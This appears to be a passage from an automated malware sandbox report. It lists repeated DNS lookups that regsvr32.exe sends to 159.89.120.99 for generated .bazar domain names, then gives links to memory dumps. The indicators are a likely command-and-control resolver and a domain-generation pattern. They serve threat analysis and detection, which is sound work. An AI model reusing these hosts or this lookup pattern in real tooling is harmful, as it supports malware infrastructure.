        yzlkeir.bazar

        DNS Request

        yzlkeir.bazar

        DNS Request

        yzlkeir.bazar

      • 159.89.120.99:53
        toðámyvi.bazar
        dns
        regsvr32.exe
        124 B
         62 B
         2
        1

        DNS Request

        toðámyvi.bazar

        DNS Request

        toðámyvi.bazar

      • 159.89.120.99:53
        ew8œwyir.bazar
        dns
        regsvr32.exe
        244 B
         61 B
         4
        1

        DNS Request

        ew8œwyir.bazar

        DNS Request

        ew8œwyir.bazar

        DNS Request

        ew8œwyir.bazar

        DNS Request

        ew8œwyir.bazar

      • 159.89.120.99:53
        do’¾kevi.bazar
        dns
        regsvr32.exe
        189 B
         63 B
         3
        1

        DNS Request

        do’¾kevi.bazar

        DNS Request

        do’¾kevi.bazar

        DNS Request

        do’¾kevi.bazar

      • 159.89.120.99:53
        ewîçavir.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        ewîçavir.bazar

        DNS Request

        ewîçavir.bazar

        DNS Request

        ewîçavir.bazar

      • 159.89.120.99:53
        wyáðkeyw.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        wyáðkeyw.bazar

        DNS Request

        wyáðkeyw.bazar

        DNS Request

        wyáðkeyw.bazar

        DNS Request

        wyáðkeyw.bazar

      • 159.89.120.99:53
        myg‡avyw.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        myg‡avyw.bazar

        DNS Request

        myg‡avyw.bazar

        DNS Request

        myg‡avyw.bazar

      • 159.89.120.99:53
        vi¥ˆavir.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        vi¥ˆavir.bazar

        DNS Request

        vi¥ˆavir.bazar

        DNS Request

        vi¥ˆavir.bazar

        DNS Request

        vi¥ˆavir.bazar

      • 159.89.120.99:53
        walmyyw.bazar
        dns
        regsvr32.exe
        122 B
         61 B
         2
        1

        DNS Request

        walmyyw.bazar

        DNS Request

        walmyyw.bazar

      • 159.89.120.99:53
        omðámyir.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        omðámyir.bazar

        DNS Request

        omðámyir.bazar

        DNS Request

        omðámyir.bazar

        DNS Request

        omðámyir.bazar

      • 159.89.120.99:53
        to8œkeyw.bazar
        dns
        regsvr32.exe
        183 B
         61 B
         3
        1

        DNS Request

        to8œkeyw.bazar

        DNS Request

        to8œkeyw.bazar

        DNS Request

        to8œkeyw.bazar

      • 159.89.120.99:53
        ir’¾keir.bazar
        dns
        regsvr32.exe
        189 B
         63 B
         3
        1

        DNS Request

        ir’¾keir.bazar

        DNS Request

        ir’¾keir.bazar

        DNS Request

        ir’¾keir.bazar

      • 159.89.120.99:53
        toîçwyyw.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        toîçwyyw.bazar

        DNS Request

        toîçwyyw.bazar

        DNS Request

        toîçwyyw.bazar

        DNS Request

        toîçwyyw.bazar

      • 159.89.120.99:53
        caáðkeom.bazar
        dns
        regsvr32.exe
        124 B
         62 B
         2
        1

        DNS Request

        caáðkeom.bazar

        DNS Request

        caáðkeom.bazar

      • 159.89.120.99:53
        keGVmyir.bazar
        dns
        regsvr32.exe
        240 B
         60 B
         4
        1

        DNS Request

        keGVmyir.bazar

        DNS Request

        keGVmyir.bazar

        DNS Request

        keGVmyir.bazar

        DNS Request

        keGVmyir.bazar

      • 159.89.120.99:53
        ywg‡avom.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        ywg‡avom.bazar

        DNS Request

        ywg‡avom.bazar

        DNS Request

        ywg‡avom.bazar

      • 159.89.120.99:53
        so¥ˆwyyw.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        so¥ˆwyyw.bazar

        DNS Request

        so¥ˆwyyw.bazar

        DNS Request

        so¥ˆwyyw.bazar

      • 159.89.120.99:53
        vilmyom.bazar
        dns
        regsvr32.exe
        244 B
         61 B
         4
        1

        DNS Request

        vilmyom.bazar

        DNS Request

        vilmyom.bazar

        DNS Request

        vilmyom.bazar

        DNS Request

        vilmyom.bazar

      • 159.89.120.99:53
        loðáavyw.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        loðáavyw.bazar

        DNS Request

        loðáavyw.bazar

        DNS Request

        loðáavyw.bazar

      • 159.89.120.99:53
        om8œkeom.bazar
        dns
        regsvr32.exe
        183 B
         61 B
         3
        1

        DNS Request

        om8œkeom.bazar

        DNS Request

        om8œkeom.bazar

        DNS Request

        om8œkeom.bazar

      • 159.89.120.99:53
        yz’¾myvi.bazar
        dns
        regsvr32.exe
        252 B
         63 B
         4
        1

        DNS Request

        yz’¾myvi.bazar

        DNS Request

        yz’¾myvi.bazar

        DNS Request

        yz’¾myvi.bazar

        DNS Request

        yz’¾myvi.bazar

      • 159.89.120.99:53
        omîçwyom.bazar
        dns
        regsvr32.exe
        124 B
         62 B
         2
        1

        DNS Request

        omîçwyom.bazar

        DNS Request

        omîçwyom.bazar

      • 159.89.120.99:53
        doáðkeir.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        doáðkeir.bazar

        DNS Request

        doáðkeir.bazar

        DNS Request

        doáðkeir.bazar

        DNS Request

        doáðkeir.bazar

      • 159.89.120.99:53
        reGVavvi.bazar
        dns
        regsvr32.exe
        180 B
         60 B
         3
        1

        DNS Request

        reGVavvi.bazar

        DNS Request

        reGVavvi.bazar

        DNS Request

        reGVavvi.bazar

      • 159.89.120.99:53
        yrg‡avir.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        yrg‡avir.bazar

        DNS Request

        yrg‡avir.bazar

        DNS Request

        yrg‡avir.bazar

      • 159.89.120.99:53
        ke¥ˆwyom.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        ke¥ˆwyom.bazar

        DNS Request

        ke¥ˆwyom.bazar

        DNS Request

        ke¥ˆwyom.bazar

        DNS Request

        ke¥ˆwyom.bazar

      • 159.89.120.99:53
        solmyir.bazar
        dns
        regsvr32.exe
        183 B
         61 B
         3
        1

        DNS Request

        solmyir.bazar

        DNS Request

        solmyir.bazar

        DNS Request

        solmyir.bazar

      • 159.89.120.99:53
        myðáavom.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        myðáavom.bazar

        DNS Request

        myðáavom.bazar

        DNS Request

        myðáavom.bazar

      • 159.89.120.99:53
        lo8œkeir.bazar
        dns
        regsvr32.exe
        244 B
         61 B
         4
        1

        DNS Request

        lo8œkeir.bazar

        DNS Request

        lo8œkeir.bazar

        DNS Request

        lo8œkeir.bazar

        DNS Request

        lo8œkeir.bazar

      • 159.89.120.99:53
        wa’¾myom.bazar
        dns
        regsvr32.exe
        126 B
         63 B
         2
        1

        DNS Request

        wa’¾myom.bazar

        DNS Request

        wa’¾myom.bazar

      • 159.89.120.99:53
        loîçwyir.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        loîçwyir.bazar

        DNS Request

        loîçwyir.bazar

        DNS Request

        loîçwyir.bazar

        DNS Request

        loîçwyir.bazar

      • 159.89.120.99:53
        iráðmyvi.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        iráðmyvi.bazar

        DNS Request

        iráðmyvi.bazar

        DNS Request

        iráðmyvi.bazar

      • 159.89.120.99:53
        noGVavom.bazar
        dns
        regsvr32.exe
        180 B
         60 B
         3
        1

        DNS Request

        noGVavom.bazar

        DNS Request

        noGVavom.bazar

        DNS Request

        noGVavom.bazar

      • 159.89.120.99:53
        wyg‡wyvi.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        wyg‡wyvi.bazar

        DNS Request

        wyg‡wyvi.bazar

        DNS Request

        wyg‡wyvi.bazar

        DNS Request

        wyg‡wyvi.bazar

      • 159.89.120.99:53
        re¥ˆkeyw.bazar
        dns
        regsvr32.exe
        186 B
         62 B
         3
        1

        DNS Request

        re¥ˆkeyw.bazar

        DNS Request

        re¥ˆkeyw.bazar

        DNS Request

        re¥ˆkeyw.bazar

      • 159.89.120.99:53
        kelavvi.bazar
        dns
        regsvr32.exe
        183 B
         61 B
         3
        1

        DNS Request

        kelavvi.bazar

        DNS Request

        kelavvi.bazar

        DNS Request

        kelavvi.bazar

      • 159.89.120.99:53
        ywðáwyyw.bazar
        dns
        regsvr32.exe
        248 B
         62 B
         4
        1

        DNS Request

        ywðáwyyw.bazar

        DNS Request

        ywðáwyyw.bazar

        DNS Request

        ywðáwyyw.bazar

        DNS Request

        ywðáwyyw.bazar

      • 159.89.120.99:53
        my8œmyvi.bazar
        dns
        regsvr32.exe
        122 B
         61 B
         2
        1

        DNS Request

        my8œmyvi.bazar

        DNS Request

        my8œmyvi.bazar

      • 159.89.120.99:53
        vi’¾avyw.bazar
        dns
        regsvr32.exe
        189 B
         3

        DNS Request

        vi’¾avyw.bazar

        DNS Request

        vi’¾avyw.bazar

        DNS Request

        vi’¾avyw.bazar

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/536-61-0x0000000001D10000-0x0000000001E9C000-memory.dmp

        Filesize

        1.5MB

        Download

      • memory/1644-59-0x000007FEFBFF1000-0x000007FEFBFF3000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1644-60-0x0000000001D30000-0x0000000001EBC000-memory.dmp

        Filesize

        1.5MB

        Download

      We care about your privacy.

      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.